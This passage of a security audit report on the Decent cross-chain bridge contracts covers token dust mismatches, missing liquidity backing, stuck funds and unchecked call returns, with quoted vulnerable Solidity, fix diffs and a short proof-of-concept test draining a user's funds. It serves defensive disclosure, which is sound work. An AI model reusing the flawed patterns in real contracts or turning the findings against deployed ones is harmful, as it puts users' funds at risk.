+ address stargatePool = stargateFactory.getPool(getSrcPoolId(additionalArgs));
+ uint256 convertRate = IStargatePool(stargatePool).convertRate();
+ if (convertRate != 1) { amt2Bridge = (amt2Bridge / convertRate) * convertRate; }
```

3.2.7 OFT `decimalConversion` rate leads to disbalance between `WETH`/`DcntETH` on different chains

Severity: Medium Risk

Context: DecentEthRouter.sol#L196, DecentEthRouter.sol#L220

Description: `DcntETH` contract inherits from the `OFT` contract that handles differences in decimal precision before every cross-chain transfer by "cleaning" the amount from any decimal precision that cannot be represented in the shared system. The OFT Standard defines these small token transfer amounts as "dust". In the default `OFT` implementation, this `decimalConversion` rate is `10**12` meaning you can only transfer amounts that are a multiple of this value.

- `OFTCore.sol`

```
function _debitView(
    uint256 _amountLD,
    uint256 _minAmountLD,
    uint32 /*_dstEid*/
) internal view virtual returns (uint256 amountSentLD, uint256 amountReceivedLD) {
    // @dev Remove the dust so nothing is lost on the conversion between chains with different decimals
↪  for the token.
    amountSentLD = _removeDust(_amountLD); // <<<
    // @dev The amount to send is the same as amount received in the default implementation.
    amountReceivedLD = amountSentLD;

    // @dev Check for slippage.
    if (amountReceivedLD < _minAmountLD) {
        revert SlippageExceeded(amountReceivedLD, _minAmountLD);
    }
}

function _removeDust(uint256 _amountLD) internal view virtual returns (uint256 amountLD) {
    return (_amountLD / decimalConversionRate) * decimalConversionRate;
}
```

Let's consider the following example:

The user wants to bridge the amount of `WETH` equal to `1234567890123456789`.

- Calls the `bridge/bridgeWithPayload` and the `DecentEthRouter` transfers from his wallet an equal amount of `WETH`, i.e. `1234567890123456789`.
- Inside the `OFTCore.send(...)` function dust is removed and only 1234567000000000000 `DcntETH` is debited from the `DecentEthRouter` balance, i.e. the last 12 digits are removed from the original amount.
- On the receiving chain inside the `lzReceive` `1234567000000000000` `DcntETH` is credited to the `DecentEthRouter` contract.
- The `lzCompose` logic is being executed and the amount decoded from the composed message is the original `1234567890123456789`.

At best there is a surplus of `WETH` on the source chain and a shortage of `dcntETH` on the destination chain. Another possibility is that `lzCompose` can't be executed if the following condition is reached:

```
if (weth.balanceOf(address(this)) < amount) {
    dcntEth.transfer(refundAddress, amount);
    return;
}
```

And there is no `WETH` in the contract and the user is the only one transferring `DcntETH`.

Recommendation: Remove the dust amount from the `amount` parameter.

```
uint256 decimalsConversionRate = IOFTCore(address(dcntEth)).decimalConversionRate();
uint256 amount = (bridgeCall.amount / decimalsConversionRate) * decimalsConversionRate;
```

3.2.8 `DecentEthRouter` requires additional liquidity backing

Severity: Medium Risk

Context: src/DecentEthRouter.sol#L170-L189

Description: When passing a message through the `DecentEthRouter` contract, it calls `DcntEth.send` which debits the `DcntEth` from the router. This requires users to have previously deployed liquidity through the router's `addLiquidity` functions, despite the call already transferring in enough `WETH` value. Consider the following scenario.

- Alice adds `1 Eth` liquidity.
- Router src: `1 Eth` + `1 DcntEth`.
- Bob transfers `1 Eth` in a message.
- Router src: `2 Eth` + `0 DcntEth`, Router Dst: `1 DcntEth`.

There is no need for Alice to have supplied liquidity before Bob's call. The `1 DcntEth` should have been minted (and burned) directly in Bob's call. The final accounting of `DcntEth` and `Eth` is not 1:1. This further could require users (such as Bob) to supply `2 Eth` when only wanting to bridge `1 Eth`.

Recommendation: Mint `DcntEth` during the bridge call to the router contract.

```
  uint gasValue;
  if (gasCurrencyIsEth) {
      weth.deposit{value: bridgeCall.amount}();
      gasValue = msg.value - bridgeCall.amount;
  } else {
      weth.transferFrom(msg.sender, address(this), bridgeCall.amount);
      gasValue = msg.value;
  }

+ dcntEth.mint(address(this), bridgeCall.amount);

  dcntEth.send{value: gasValue}(
      sendParam,
      messagingFee,
      bridgeCall.refundAddress
  );
```

Additionally, consider modifying the `addLiquidity` functions to mint `DcntEth` to the suppliers instead of the router contract.

3.2.9 Lack of recovery mechanism for non-executable calls

Severity: Medium Risk

Context: src/DecentEthRouter.sol#L238-L280

Description: When a cross-chain message is received, it is executed in `DecentEthRouter`'s `lzCompose` function. This function, however, does not include a recovery mechanism in the case that the call to `executor.execute` fails. In this case, funds could become stuck in the contract.

The call trace from `DecentEthRouter.lzCompose` continues with `DecentBridgeExecutor.execute` -> `DecentBridgeAdapter.receiveFromBridge` -> `UTB.receiveFromBridge` -> `BridgeInstructions.target.execute`, where `BridgeInstructions.target` is a user controlled target. Further, the call can include an additional swap on the destination chain. If this call trace cannot be completed because of an invalid, or due to invalid swap parameters, then the bridged currency can not be recovered..

Recommendation: Wrap the executor's call in a try-catch statement in order to recover from a non-executable call and transfer the value to the refund address.

```
  if (msgType == MT_ETH_TRANSFER) {
      if (!gasCurrencyIsEth || !deliverEth) {
          weth.transfer(to, amount);
      } else {
          weth.withdraw(amount);
          (payable(to).call{value: amount}(""));
      }
  } else {
      weth.approve(address(executor), amount);
-     executor.execute(refundAddress, to, deliverEth, amount, payload);
+     try executor.execute(refundAddress, to, deliverEth, amount, payload) {
+         return;
+     } catch (bytes memory) {
+         weth.transfer(refundAddress, amount);
+         weth.approve(address(executor), 0);
+     }
  }
```

3.3 Low Risk

3.3.1 `WETH` balance requirement could lead to cross-chain messages not being executed

Severity: Low Risk

Context: DecentEthRouter.sol#L264-L267

Description: When relaying a message in the `DecentEthRouter` contract, if insufficient `WETH` liquidity is present, the call will not execute and `DcntEth` will be transferred to the `refundAddress` instead.

```
if (weth.balanceOf(address(this)) < amount) {
    dcntEth.transfer(refundAddress, amount);
    return;
}
```

If the destination chain contains limited `WETH` liquidity in the router, a malicious actor could influence the call outcome by withdrawing their liquidity.

In an example scenario, a cross-chain message could contain an urgent message from a DAO. An actor that has deployed liquidity into the `DecentEthRouter` contract could influence whether the call message is passed on to the destination address or not. In time sensitive scenarios with delayed voting this could be problematic.

Recommendation: Document and make users aware of this possibility and warn a user if they are sending a message to a destination chain with limited liquidity. In a potential future release, allow messages to be continued to execute if a user supplies their own funds.

Decentxyz: We currently already take some precautions here, with respect to our API. When providing a user with a route to cross chains using the Decent bridge, we confirm that the DecentEthRouter on the destination chain has sufficient liquidity for the transfer. This of course does not cover all situations, and in a future update we will look at the recommended functionality to allow users to retry their transactions on the destination using the credited `DcntEth`.

Cantina Managed: Acknowledged.

3.3.2 Low-level call return values not checked

Severity: Low Risk

Context: src/UTBExecutor.sol#L36-L39, src/UTBExecutor.sol#L49-L52, src/UTBExecutor.sol#L54, src/DecentEthRouter.sol#L273-L274, src/DecentEthRouter.sol#L291-L292, src/DecentEthRouter.sol#L319-L320, src/DecentBridgeExecutor.sol#L65-L68

Description: The return values of many low-level calls throughout the codebase are not checked. In a worst case scenario, this could lead to funds becoming irrecoverably stuck. An example can be seen in the `DecentEthRouter.redeemEth` function.

```
function redeemEth(
    uint256 amount
)
    public
    onlyEthChain
    onlyIfWeHaveEnoughReserves(amount)
{
    dcntEth.transferFrom(msg.sender, address(this), amount);
    weth.withdraw(amount);
    (payable(msg.sender).call{value: amount}(""));
}
```

If the `msg.sender` is a contract containing additional operations, the inner call transferring the value can fail while the outer call still succeeds.

```
function test_poc_redeemEthRevert() public {
    vm.stopPrank();
    // mint `DcntEth` to Bob
    vm.prank(address(TEST.DST.decentEthRouter));
    TEST.DST.dcntEth.mint(TEST.EOA.bob, 1 ether);

    // Bob uses a smart contract wallet
    vm.etch(TEST.EOA.bob, type(SmartWallet).runtimeCode);
    vm.startPrank(TEST.EOA.bob);
    TEST.DST.dcntEth.approve(address(TEST.DST.decentEthRouter), 1 ether);
    TEST.DST.decentEthRouter.redeemEth{gas: 48_481}(1 ether);

    // Bob has lost his `DcntEth` and his `Ether`
    assertEq(TEST.DST.dcntEth.balanceOf(TEST.EOA.bob), 0);
    assertEq(TEST.EOA.bob.balance, 0);
}
```

Recommendation: Make sure that the low-level call return values are checked such that the inner calls cannot fail.

```
  function redeemEth(
      uint256 amount
  )
      public
      onlyEthChain
      onlyIfWeHaveEnoughReserves(amount)
  {
      dcntEth.transferFrom(msg.sender, address(this), amount);
      weth.withdraw(amount);
-     (payable(msg.sender).call{value: amount}(""));
+     (bool success,) = msg.sender.call{value: amount}("");
+     require(success, "Transfer failed");
  }
```

3.3.3 `addLiquidityWeth()` is payable

Severity: Low Risk

Context: DecentEthRouter.sol#L324-L326

Description: `addLiquidityWETH()` is payable when WETH is pulled. ETH isn't expected to be sent.

Recommendation: Remove the `payable` keyword.

3.3.4 Remove hardcoded Stargate fee

Severity: Low Risk

Context: StargateBridgeAdapter.sol#L23

Description: `StargateBridgeAdapter` relies on a fixed fee(6 BPS) and additional slippage amount passed by the user to compute the minimum amount the user wants to receive on the destination chain. Stargate fees frequently change with different fee libraries. Per Stargate docs, right now there is version 7. Fees shouldn't be hardcoded and relied on.

Recommendation: Remove the hardcoded fee and only compute the minimum amount based on the user-supplied slippage parameter.

3.3.5 Unexpected Ether received is unrecoverable

Severity: Low Risk

Context: src/bridge_adapters/DecentBridgeAdapter.sol#L156-L158

Description: Several contracts expose a payable `receive` or `fallback` function without a clear reason or path to recovery. In a few contracts, the `receive` function is required in order to unwrap `WETH` to native `ETH`. However, the `DecentBridgeAdapter` contract, for example, does not directly call `WETH.withdraw` which would require the adapter to contain a payable `receive` function. As it is impossible to transfer out native currency sent to the `DecentBridgeAdapter`, it should not readily accept Ether.

Recommendation: Remove both the payable `receive` and the `fallback` functions from contracts that do not require these:

- `src/bridge_adapters/DecentBridgeAdapter.sol`.
- `src/bridge_adapters/StargateBridgeAdapter.sol`.
- `src/swappers/Swapper.sol`.

Contracts that call `WETH.withdraw` and only require the payable `receive` function are:

- `src/DecentBridgeExecutor.sol`.
- `src/DecentEthRouter.sol`.
- `src/UTB.sol`.

These contracts could include a check to only allow calls to the `receive` function from the `WETH` contract. However, it should be noted that not too much gas heavy logic should be included in the `receive` function, as it is called with a limited gas stipend of 2300 gas when `.transfer` is invoked (still enough for a simple check). In order to reduce the gas burden, the `WETH` contract address can be stored as immutable.

```diff
- receive() external payable {}
+ receive() external payable {
+     require(msg.sender == address(weth), "Caller not Weth")
+ }

- // Fallback function is called when msg.data is not empty
- fallback() external payable {}
```

Alternatively, include a mechanism that allows removing excess Ether contained in the contracts as these should not be holding any native currency.

```diff
+ function skim(address receiver) external onlyAdmin {
+     (bool success, ) = receiver.call{value: address(this).balance}("");
+     require(success, "Call failed");
+ }
```

3.4 Gas Optimization

3.4.1 `swapPayload` has redundant `receiver` param

Severity: Gas Optimization

Context: UTB.sol#L151, UTB.sol#L208, AnySwapper.sol#L37-L38, UniSwapper.sol#L41-L42

Description: `swapPayload` has a redundant `receiver` parameter, as the `receiver` is always expected to be `utb`. By analysing the execution flow, the swappers only accept `utb` as the caller, and `utb` expects itself to be the swap recipient after calling `swapper.swap()`. Hence, it makes encoding a `receiver` redundant.

Recommendation: Remove the redundant encoding of `receiver` and replace it with `utb`.

3.4.2 `extraNative` parameter in `execute` function always passed as zero

Severity: Gas Optimization

Context: UTBExecutor.sol#L32

Description: The `execute` function within the `UTBExecutor` contract is designed to optionally include an additional amount of native tokens (`extraNative`) in the transaction.

This functionality is intended to facilitate transactions requiring token and native token transfers. However, the `extraNative` parameter is consistently set to zero in all possible paths within the scope of the audit, negating this functionality. Including an always zero parameter adds unnecessary complexity and redundancy to the codebase.

Recommendation: Consider removing the `extraNative` parameter and its relevant logic inside the `execute` function.

3.4.3 Optimised `performSwap` function by removing the redundant `retrieveTokenIn` parameter

Severity: Gas Optimization

Context: UTB.sol#L118

Description: The `performSwap` function handles token swaps within the `UTB.sol` contract. It includes a parameter `retrieveTokenIn`, which dictates whether the ERC20 tokens should be transferred from the caller's address to the contract.

In the current implementation, this parameter is always passed as `true`, regardless of the context in which the function is called. So, the additional parameter serves no purpose other than increasing the gas costs and code complexity.

Recommendation: Consider removing the `retrieveTokenIn` parameter and simplify the `performSwap` function.

3.5 Informational

3.5.1 `bridgeToken` in `DecentBridgeAdapter` could be `immutable`

Severity: Informational

Context: DecentBridgeAdapter.sol#L20

Description: The `bridgeToken` in `DecentBridgeAdapter.sol` is initialized only in the constructor and is not updated/mutated afterward. Such variables could be declared `immutable` to reduce code size and gas costs.

Recommendation: Add the `immutable` keyword to the `bridgeToken` variable.

3.5.2 Native tokens are not always `address(0)` in all evm chains

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: The `UTBExecutor`, `UTB`, `DecentBridgeAdapter`, `StargateBridgeAdapter`, `Swapper`, and `Uniswapper` contracts assume that the native token on the blockchain is represented by `address(0)`. While this is true for many EVM-compatible chains like Ethereum, it is not universally applicable across all chains.

Some chains might use a different mechanism to represent their native token; for example.,

- METIS (`0xDeadDeAddeAddEAddeadDEaDDEAdDeaDDeAD0000`) and...
- CELO (`0x471EcE3750Da237f93B8E339c536989b8978a438`)

Such conflicts will result in changing the code before deployment and other operational difficulties.

Recommendation: Consider creating an immutable variable `NATIVE` and declare the native token precompile address during deployment to make code maintenance easier and code remain the same post audit.

3.5.3 Lack of event emissions for state-changing functions

Severity: Informational

Context: *(No context files were provided by the reviewer)*

Description: Several functions in the entire project repository perform critical operations without emitting events. This lack of event logging can make tracking important state changes and actions difficult, potentially reducing transparency and auditability.

Without events, it's challenging for external observers to monitor contract activity. Developers and users may find it harder to diagnose issues or verify the correct execution of functions.

The functions that lack event emission include:

- `UTB.sol`
  - `registerSwapper`
  - `registerBridge`
  - `toggleActive`
  - `setFeeManager`
  - `setWrapped`
  - `setExecutor`
- `UTBExecutor.sol`
  - `execute`
- `UTBFeeManager.sol`
  - `setSigner`
- `UTBOwned.sol`
  - `setUtb`
- `DecentEthRouter.sol`
  - `setWeth`
  - `setExecutor`
  - `registerDcntEth`
  - `addDestinationBridge`
  - `_bridgeWithPayload`
  - `lzCompose`
  - `redeemEth`
  - `redeemWeth`
  - `addLiquidityEth`
  - `removeLiquidityEth`
  - `addLiquidityWeth`
  - `removeLiquidityWeth`
  - `setRequireOperator`
- `DecentBridgeExecutor.sol`
  - `execute`
- `DcntEth.sol`
  - `setRouter`
  - `mint`

  - burn
  - mintByAdmin
  - burnByAdmin

Recommendation: Consider adding events to the above mentioned state-changing functions.

3.5.4 Code quality: remove unused imports

Severity: Informational

Context: AnySwapper.sol#L8, DcntEth.sol#L6, UTBFeeManager.sol#L5, UniSwapper.sol#L4

Description: Multiple files across the entire repository contain an import statement that is not used anywhere in the contract (or) and is used for debugging purposes during development. Unused import statements include:

- AccessControl in DcntEth.sol.
- SwapInstructions and BridgeInstructions in UTBFeeManager.sol.
- UTBOwned in Uniswapper.sol.
- IWETH in AnySwapper.sol.

Importing unused libraries can increase the contract's deployment and execution gas costs and make the codebase less readable and maintainable.

Recommendation: Consider removing the unused and debugging file imports from multiple contracts across the repository to optimize the gas costs and improve the code quality.

3.5.5 Consider refactoring swapNoPath function away from UniSwapper

Severity: Informational

Context: UniSwapper.sol#L60-L81

Description: The swap function in the UniSwapper contract allows executing: swapExactIn, swapExactOut, and swapNoPath. Although swapNoPath works and can be executed if tokenIn equals tokenOut it is confusing to have such an option inside the UniSwapper contract.

Recommendation: The no swap case could be refactored into UTB.performSwap() to avoid redundant transfers to and from the UniSwapper.

3.5.6 Incomplete check for sufficient native value

Severity: Informational

Context: UTB.sol#L128

Description: A check for sufficient value sent by the caller does not account for native fees. When the external swapAndExecute function in UTB is called, fees can be collected in native currency in the internal function _retrieveAndCollectFees. After that, the performSwap function is called in _swapAndExecute where a check might can revert if not enough native currency is supplied.

```
if (swapParams.tokenIn == address(0)) {
    if (msg.value < swapParams.amountIn) revert NotEnoughNative();
```

As the check does not account for fees in the native currency it is inaccurate.

Recommendation: Take not of all native fees being transferred out in _retrieveAndCollectFees and store them in a variable feesNative. Adjust the check in performSwap taking into account the native fees.

```
  if (swapParams.tokenIn == address(0)) {
-     if (msg.value < swapParams.amountIn) revert NotEnoughNative();
+     if (msg.value < swapParams.amountIn + feesNative) revert NotEnoughNative();
```

3.5.7 A call to `DecentBridgeAdapter.receiveFromBridge` containing value will always revert

Severity: Informational

Context: src/DecentBridgeExecutor.sol#L72-L86, src/bridge_adapters/DecentBridgeAdapter.sol#L125-L154

Description: `DecentBridgeExecutor`'s `execute` function contains a path that always reverts.

When the `execute` function is called with `deliverEth == true`, then the inner function `_executeEth` will be called which calls the `target` address with native currency value. The `DecentBridgeExecutor` is set up to always call `DecentBridgeAdapter.receiveFromBridge` as the `target` and `payload` is hardcoded. The `receiveFromBridge` function, however, is marked non-payable and as such does not allow any Ether transfers. This call will always revert if any value is sent.

Yet, in its current state, the `DecentBridgeExecutor`'s `execute` function is always called with `deliverEth` set to `false`. Therefore the code path to `_executeEth` is not executable.

Recommendation: Allow `DecentBridgeAdapter.receiveFromBridge` to accept Ether or consider disabling the `deliverEth` option and remove dead code.

3.5.8 No incentive to provide `dcntETH` liquidity

Severity: Informational

Context: DecentEthRouter.sol#L304-L312, DecentEthRouter.sol#L324-L329

Description: There isn't an incentive for liquidity provision. Similar bridging protocols typically incentivise LPs with bridging fees and / or liquidity mining programs.

Recommendation: Consider taking and allocating fees for minting, redeeming, or bridging to incentivise liquidity provision. Alternatively, consider running a liquidity mining program.

3.5.9 Rename `StargateRouter` to `StargateComposer`

Severity: Informational

Context: StargateBridgeAdapter.sol#L30-L34

Description: `StargateComposer` should be used instead of the `StargateRouter`. They share the common interface but the `StargateRouter` reverts if you try sending a payload. See the Stargate documentation on this matter.

Recommendation: Rename the function and parameter from router to composer.